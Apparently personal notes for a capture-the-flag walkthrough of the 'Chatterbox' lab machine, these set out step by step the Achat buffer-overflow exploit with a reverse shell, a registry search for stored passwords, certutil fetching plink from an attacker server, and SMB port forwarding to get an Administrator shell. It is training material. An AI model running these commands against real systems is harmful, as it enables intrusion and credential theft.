Chatterbox

Resources for this video:

Achat Exploit - https://www.exploit-db.com/exploits/36025

Achat Exploit (Metasploit) - https://www.rapid7.com/db/modules/exploit/windows/misc/achat_bof

GREAT RESOURCE:

Privilege Escalation - Windows · Total OSCP Guide (gitbooks.io)

• nothing to connect to
• no website
• only thing is services running

searchsploit the services you don’t know:

searchsploit achat

buffer overflow? Copy the script into a folder you know:

cp /usr/share/exploitdb/exploits/windows/remote/36025.py achat3.py

Yellow - default path

Purple - shown in searchsploit result

Brown - what I wanna copy it as

mousepad to read what it does:

mousepad achat3.py

change the msfvenom command to actually get a shell instead of opening a calculator:

after:

run it and copy the buffer it produces to replace the one in the python script.

Update the script IP with the victim machine IP:

# Create a UDP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
server_address = ('10.10.10.74', 9256)

Run NetCat on 443 like we set up in the MSFVenom command:

nc -nvlp 443

run the script:

./achat3.py

Navigate shell to user desktop:

cd c:\users\Alfred\Desktop
type user.txt

find info to priv escalate:

systeminfo
net user

To check a user for admin priv:

net user alfred

dual homed (multiple IPs):

ipconfig

connections running:

netstat -ano

445 is running internally, and 445 is SMB

Can we get a password?

check registery for passwords (from resource):

reg query HKLM /f password /t REG_SZ /s

we get:

Welcome1!

Query the autologin (Winlogon):

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"

We know that the password is for user Alfred but he isn’t really admin or anything.

Password reuse/Pass the pass/Pass spraying!!

How can we attack the internal 445 (SMB)?

Port Forward:

Download plink and start server to download from:

cd Downloads
ls | grep plink
python3 -m http.server 8080   

Put Plink on the victim machine:

cd c:\users\alfred
certutil -urlcache -f http://10.10.14.13:8080/plink.exe plink.exe
dir #to make sure it copied

*DON’T FORGET THE PORT IF IT’S NOT 80

ON KALI:

sudo apt install ssh

service ssh start

EDIT SSH CONFIG TO LOGIN AS ROOT:

sudo mousepad /etc/ssh/sshd_config

Change PermitRootLogin:

#PermitRootLogin Prohibited
to
PermitRootLogin yes

Then restart:

sudo service ssh restart
sudo service ssh start

ON THE VICTIM:

plink.exe -l root -pw toor -R 445:127.0.0.1:445 10.10.14.13

FROM KALI:

*MIGHT HAVE TO KEEP HITTING ENTER UNTIL YOU GET A RETURN BECAUSE OF THE FUNKY BOXCEPTION

Check connection:

netstat -ano | grep 445

winexe -U Administrator%Welcome1! //127.0.0.1 "cmd.exe"

whoami